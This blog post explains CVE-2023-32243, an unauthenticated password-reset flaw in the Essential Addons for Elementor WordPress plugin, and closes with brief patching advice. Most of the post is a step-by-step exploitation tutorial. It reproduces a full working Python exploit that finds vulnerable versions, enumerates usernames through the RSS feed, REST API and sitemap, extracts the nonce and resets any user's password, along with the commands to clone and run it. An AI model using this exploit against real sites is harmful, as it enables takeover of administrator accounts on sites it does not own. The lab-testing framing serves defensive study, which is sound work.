CVE-2023-32243: A Vulnerability Exploiting Privilege Escalation in WordPress

As we navigate the digital landscape, it’s essential to stay abreast of potential security threats that could compromise our systems.

One such looming threat is CVE-2023-32243, a significant vulnerability that has sent ripples across the cybersecurity community.

This blog post aims to shed light on this vulnerability, its impact, and how it can be successfully mitigated.

Addressing CVE-2023-32243

A security vulnerability known as CVE-2023-32243 has been discovered in the Essential Addons for Elementor WordPress plugin, which boasts over a million active installations.

This loophole allows an unauthorized user to reset any user’s password on the affected website, essentially granting them administrative access.

The flaw, CVE-2023-32243, specifically affects the password reset function of the Essential Addons plugin that’s integrated with Elementor.

The root cause is the lack of validation for password reset keys, which means a user’s password can be directly altered without appropriate checks.

An attacker doesn’t need knowledge of a user’s existing password to exploit this gap and reset any user’s password on the compromised site.

Essential Addons for Elementor is a plugin for WordPress that enhances its features. However, it has a security gap that allows unauthenticated individuals to gain the same privileges as any user on the WordPress site.

With knowledge of a user’s username, an attacker can reset their password and unlawfully access their account.

This loophole originates from the absence of password reset key validation in the password reset function, which permits direct password alteration for a given user.

To address this issue, the vulnerability was fixed in version 5.7.2 of the plugin.

The solution involves proper validation of the reset key within the password reset function, effectively reducing the risk of privilege escalation.

The identifier CVE-2023-32243 has been assigned to this vulnerability.

Full Tutorial on Exploiting Vulnerability

Exploiting this vulnerability requires a pre-set environment with the specific version of the vulnerable component.

Evaluating the vulnerability necessitates setting up a local WordPress installation and installing the vulnerable Elementor addon.

A Python script, available for cloning from GitHub, is needed for the testing process:

import argparse
import requests
import re
import os
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from bs4 import BeautifulSoup



session = requests.Session()


def check_version(wordpress_url):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    response = session.get(wordpress_url, headers=headers, verify=False)
    if "/front-end/css/view/general.min.css" in response.text:
        try:
            version_match = re.search(r"front-end/css/view/general\.min\.css\?ver=(\d+\.\d+\.\d+)", response.text)
            if version_match:
                version = version_match.group(1)
                if "5.4.0" <= version <= "5.7.1":
                    print("Found Vulnerable Version:", version)
                    return True
                else:
                    print("Found version: "+version+" sadly not vulnerable.")
                    exit()
        except Exception as e:
            print("Error occurred while extracting version:", str(e))
    else:
        url = f"{wordpress_url}/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt"
        response = session.get(url, headers=headers, verify=False)
        if "Essential Addons for Elementor" not in response.text:
            print("Unable to find essential-addons-for-elementor-lite plugin readme.txt.")
            exit()
        for line in response.text:
            if line.startswith("Stable tag:"):
               stable_tag = line.split(":")[1].strip()  # Extract the value of the stable tag
               print(stable_tag)
               if "5.4.0" <= stable_tag <= "5.7.1":
                    print("Found Vulnerable Version:", stable_tag)
                    return True
               else:
                    print("Found version: "+stable_tag+" sadly not vulnerable.")
                    exit()
    

def extract_usernames(wordpress_url):
    try:
        rss_usernames = extract_usernames_rss(wordpress_url)
        rest_api_usernames = get_usernames_rest_api(wordpress_url)
        sitemap_usernames = get_usernames_sitemap(wordpress_url)
        rest_api2_usernames = scrape_users_via_rest_api(wordpress_url)
        all_usernames = list(set(rss_usernames) | set(rest_api_usernames) | set(sitemap_usernames)| set(rest_api2_usernames))
        return all_usernames
    except Exception as e:
        print("Error occurred while extracting usernames:", str(e))




# Method 1: Using WordPress RSS feed
def extract_usernames_rss(wordpress_url):
    headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    response = session.get(f"{wordpress_url}/feed/",headers=headers,verify=False)
    if response.status_code == 200:
       soup = BeautifulSoup(response.text, "xml")
       try:
          all_usernames = []
          for item in soup.find_all("item"):
              creator = item.find("dc:creator")
              if creator and creator.text:
                 all_usernames.append(creator.text)
          return all_usernames
       except Exception as e:
          print(f"Failed to fetch usernames using RSS Feed. Error: {e} ")
          return []
    else:
       print(f"Failed to fetch usernames using RSS Feed. Error: {response.text}")
       return []


# Method 2: Using WordPress REST API
def get_usernames_rest_api(wordpress_url):
    headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    api_url = wordpress_url + '/wp-json/wp/v2/users'
    response = session.get(api_url, headers=headers, verify=False)
    if response.status_code == 200:
        users = response.json()
        usernames = [user['slug'] for user in users]
        return usernames
    else:
        print(f"Failed to fetch usernames using REST API. Error: {response.text}")
        return []

# Method 3: Using WordPress Yoast Authors Sitemap         
def get_usernames_sitemap(wordpress_url):
    headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    response = session.get(f"{wordpress_url}/author-sitemap.xml", headers=headers, verify=False)
    if response.status_code == 200:
       soup = BeautifulSoup(response.text, "xml")
       usernames = set()
       for loc in soup.find_all("loc"):
           match = re.search(r"/author/([^/]+)/?$", loc.text.strip())
           if match:
              usernames.add(match.group(1))
       return usernames
    else:
       print(f"Failed to fetch usernames using author-sitemap.xml. Error http status code "+str(response.status_code)+"")
       return[]
       
# Method 4: Using the WordPress Rest API
def scrape_users_via_rest_api(wordpress_url):
    try:
        headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
        api_url = f"{wordpress_url}/?rest_route=/wp/v2/users"
        response = requests.get(api_url, headers=headers, verify=False)
        if response.status_code == 200:
            users = response.json()
            usernames = [user['slug'] for user in users]
            return usernames
        else:
            print(f"Failed to fetch usernames using REST Route API. Error: {response.text}")
            return []
    except Exception as e:
        print("Error occurred while scraping users:", str(e))
        return []
        
def select_username(usernames):
    if not usernames:
       print("Sorry, unable to help. No usernames found.")
       exit()

    print("Please select a username:")
    for i, username in enumerate(usernames):
        print(f"{i+1}. {username}")
    index = int(input("> ")) - 1
    return list(usernames)[index]

def extract_nonce(wordpress_url):
    try:
        url = f"{wordpress_url}/"
        headers = {'User-Agent': '"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
        response = session.get(url, headers=headers, verify=False)
        soup = BeautifulSoup(response.text, "lxml")
        script_tag = soup.find("script", string=lambda t: "var localize" in str(t))
        script_text = script_tag.text.strip() if script_tag else ""
        nonce_start_index = script_text.find('"nonce":"') + 9
        nonce_end_index = script_text.find('"', nonce_start_index)
        return script_text[nonce_start_index:nonce_end_index]
    except Exception as e:
        print("Sorry, not able to help.")
        exit()

def send_request(wordpress_url, nonce, user, password):
    url = f"{wordpress_url}/wp-admin/admin-ajax.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    payload = {
        "action": "login_or_register_user",
        "eael-resetpassword-submit": "true",
        "page_id": "124",
        "widget_id": "224",
        "eael-resetpassword-nonce": nonce,
        "eael-pass1": password,
        "eael-pass2": password,
        "rp_login": user
    }

    response = session.post(url, headers=headers, data=payload, verify=False)

    if 'success":true' in response.text:
    	print("All Set! You can now login using the following credentials:")
    	print("Username: ",user)
    	print("Password: ",password)
    	print("Admin Url: "+wordpress_url+"/wp-admin/")
    else:
    	print("Error, see html response below to debug")
    	print(response.text)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="URL of the WordPress site")
    parser.add_argument("-p", "--password", required=True, help="Password to set for the selected username")
    parser.add_argument("-usr", "--username", required=False, help="Username of the user to reset if you already know it.")
    args = parser.parse_args()
    
    check_version(args.url)
    if args.username is None:
        try:
           all_usernames = extract_usernames(args.url)
        except Exception as e:
           print(f"Error extracting usernames: {e}")
           exit()

        selected_username = select_username(all_usernames)
    else:
        selected_username = args.username

    nonce = extract_nonce(args.url)
    if not nonce:
        print("Sorry, not able to extract the nonce")
        exit()
    print(f"Nonce value: {nonce}")
    print(f"Username value: {selected_username}")

    send_request(args.url, nonce, selected_username, args.password)

1. Download WordPress and host it on a XAMPP Server.

2. After setting up WordPress, the next step is to get the necessary component.

Specifically, we need ‘Essential Addons for Elementor – version 5.7.1’ from Plugins collection of WordPress.

As shown below, the required version isn’t in the dropdown menu. We need to download the necessary version from the archived section by creating the URL with the required version.

You can download it directly from WordPress.

3. Unzip the downloaded file and copy it into the XAMPP Server’s htdocs > wordpress > wp-content > plugins directory.

4. Log in to the admin portal of the hosted WordPress site, navigate to the plugins section, and enable the plugin marked with version 5.7.1.

5. Once the WordPress site is ready with a vulnerable plugin, the next step is to execute our exploit. We will duplicate one of the exploits available on GitHub.

The specific exploit we’re cloning can be found on GitHub.

git clone https://github.com/RandomRobbieBF/CVE-2023-32243.git

6. After cloning the repository, proceed with the installation of the requirements specified in the requirements.txt file:

pip install -r requirements.txt

7. To expedite our plan, let’s test the password for our admin portal to ensure it works.

8. Having confirmed the current password for the admin portal, we can run the exploit with the command:

python3 exploit.py —url http://localhost/wordpress/ –password “Test”

Observe that the password has been changed.

9. Let’s verify that the changed password works.

10. Indeed, the exploitation was a success – we’ve effectively utilized CVE-2023-32243.

Implementing Measures to Counteract this Vulnerability

The security glitch has been rectified in the plugin versions 5.7.2, and as of now, the most recent stable version on offer is 5.8.0.

It is strongly recommended to update all your components to this latest stable version for effective risk mitigation against such potential threats.

Conclusion

Understanding the intricacies of CVE-2023-32243 is fundamental to securing our digital assets against such cyber threats.

By staying informed and vigilant, updating to the latest versions of software, and following the recommended mitigation measures, we can significantly reduce the risk and impact of this vulnerability.